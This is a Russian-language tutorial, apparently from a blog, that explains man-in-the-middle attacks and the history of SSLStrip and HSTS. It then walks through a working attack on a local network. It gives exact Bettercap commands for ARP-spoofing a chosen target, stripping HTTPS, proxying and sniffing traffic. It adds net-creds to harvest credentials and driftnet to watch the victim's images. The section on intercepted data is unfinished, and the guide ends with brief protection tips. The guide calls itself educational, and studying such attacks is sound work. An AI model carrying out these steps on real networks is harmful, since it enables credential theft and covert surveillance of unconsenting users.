(Bettercap, net-creds). MITM. Часть 1. Введение в атаку MITM. Перехват данных в локальной сети.
Материал предоставлен в ознакомительных и образовательных целях.
Внимание! В этой теме очень часто что-нибудь меняется. Следите за обновлениями. Если гайд стал
некорректным, а я этого не заметил, пишите на highsierra.2007@mail.ru
Последнее обновление: 26.10.2021
Содержание
1. Введение. Требования.
2. Понятие атаки MITM.
3. Подготовка среды.
4. Запускаем Bettercap.
5. Запускаем net-creds.
6. Пример перехваченных данных.
8. Подведение итогов. Рекомендации по защите. Полезные ссылки.
Введение. Требования.
Рад приветствовать читателей. В этой статье мы разберем что такое атака MITM, когда она применима и попробуем ее произвести. Требования:
- Иметь доступ к сети, в которой находится цель
Примечание: если у вас уже есть доступ к сети, вам не нужен Wi-Fi адаптер с поддержкой режима мониторинга. Главное быть просто подключенным к сети.
Понятие атаки MITM.
MITM (Man In The Middle - Человек Посередине) - атака, суть которой заключается в том, чтобы
встать посередине соединения цели с роутером и перехватывать данные.
Немного истории
-
Когда все сайты были по http://, атака MITM была очень эффективной, получалось перехватить все данные.
Однако, для того, чтобы этому противостоять, был создан протокол https://, который подразумевает шифрование данных. Вроде бы проблема должна была быть решена, однако, никто принудительно не заставлял использовать https. - В итоге получалось с помощью утилиты SSLStrip убрать букву s из https:// и получить http://, что снова позволяло перехватывать данные.
- В противодействие этому был придуман HSTS. Он принудительно переводит на страницу по https:// (а если это невозможно, зайти на сайт не получится). Однако, HSTS - это просто кука, которую пользователь должен каким-либо образом получить. Т.е., если пользователь пользуется режимом инкогнито, либо очищает куки при закрытии браузера, либо посещает сайт первый раз, этой куки у него нет, и есть вероятность, что пользователь все равно попадет на http://.
- Тогда последним шагом к защите пользователей от атаки MITM, стало включение во все браузеры списка сайтов, которые должны открываться только по https://. Туда входят все крупные сайты.
Проверить, выйдет ли у вас что-нибудь в ходе сегодняшней атаки, вы можете, введя желаемый адрес сайта здесь: hstspreload.org
Подготовка среды.
Начнем с простого и установим Bettercap в нашу систему:
sudo apt update && sudo apt install bettercap
Далее нам предстоит установить net-creds. Если бы сейчас перед нами был не Kali Linux, а тот же Arch Linux, то хватило бы двух команд, но в Debian, Kali Linux, Ubuntu и множестве других дистрибутивов прекратили поддержку Python 2, а net-creds написан именно на нем. Поэтому, первым делом, добываем себе PIP для Python 2 и устанавливаем его:
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py && python2 get-pip.py
// если из дистрибутивов уберут и сам пакет python2, то по-видимому, мне придется делать форк net-creds но переделанный уже на Python 3, ибо забросили его.
Переходим в директорию, куда был только что установлен PIP:
cd ~/.local/bin
Обновляем пакет setuptools, т.к. со старой версией последующие пакеты не установятся.
./pip2 install --upgrade setuptools
Устанавливаем модули scapy и wsgiref
./pip2 install scapy wsgiref
Т.к. мы запустили pip2 от имени обычного пользователя, то модуль scapy установился в домашнюю директорию пользователя. Все бы хорошо, но net-creds мы запускаем от рута, а значит Python будет искать модули в /usr/lib, копируем scapy туда. Прошу обратить внимание на то, что pip установил их в директорию с модулями Python 3, а не 2 и нужно скопировать установленный нами модуль туда, куда нужно:
sudo mkdir /usr/lib/python2.7/dist-packages/scapy && sudo cp -avr /usr/lib/python3/dist-packages/scapy/* /usr/lib/python2.7/dist-packages/scapy
Возвращаемся в домашнюю директорию и клонируем репозиторий net-creds.
cd ~ && git clone https://github.com/DanMcInerney/net-creds.git
Запускаем Bettercap.
Собственно, запускаем :-)
sudo bettercap -iface [interface]
, где [interface] - имя используемого интерфейса, посмотрите в ifconfig (без скобок). Включаем обнаружение устройств в сети:
net.probe on
Включаем обновление списка устройств:
ticker on
Выводим на экран полученный список устройств:
net.show
Выбираем цель и устанавливаем ее:
set arp.spoof.targets [ip]
, где [ip] - IP-адрес цели (без скобок) Включаем ARP-спуфинг:
arp.spoof on
Сокращаем количество сообщений, которые будут сыпаться в консоль:
set net.sniff.verbose false
Включаем SSLStrip:
set http.proxy.sslstrip true
Включаем прокси:
http.proxy on
Включаем сниффинг:
net.sniff on
Запускаем net-creds.
(в другом окне терминала)
Переходим в директорию с net-creds:
cd net-creds
Запускаем net-creds:
sudo python2 net-creds.py
Опционально можно добавить -i [interface], чтобы указать конкретный интерфейс (нужно использовать тот же, что и в Bettercap) (без скобок)
При желании, вы можете запустить driftnet, чтобы видеть картинки, которые сейчас пользователь видит в браузере. Для начала установите его:
sudo apt update && sudo apt install driftnet
А затем запустите:
sudo driftnet -i [interface]
, где [interface] - желаемый интерфейс (нужно использовать тот же, что и в Bettercap) (без скобок)
Пример перехваченных данных.
В работе…
Подведение итогов. Рекомендации по защите. Полезные ссылки.
Полезные ссылки.
- Hackware: руководство по использованию Bettercap
- Hackware: руководство по использованию Driftnet
- Hackware: руководство по использованию MITMf
- HSTS Preload
Рекомендации по защите.
- Не заходить в свои учетные записи на сайтах в открытых сетях
- Поддерживать безопасность личной сети Wi-Fi, иначе будет равноценна открытой сети
- Использовать расширение HTTPS Everywhere (Chrome Web Store | Firefox Browser Add-ons)
Итак, мы познакомились с атакой MITM.
Назад к списку статей…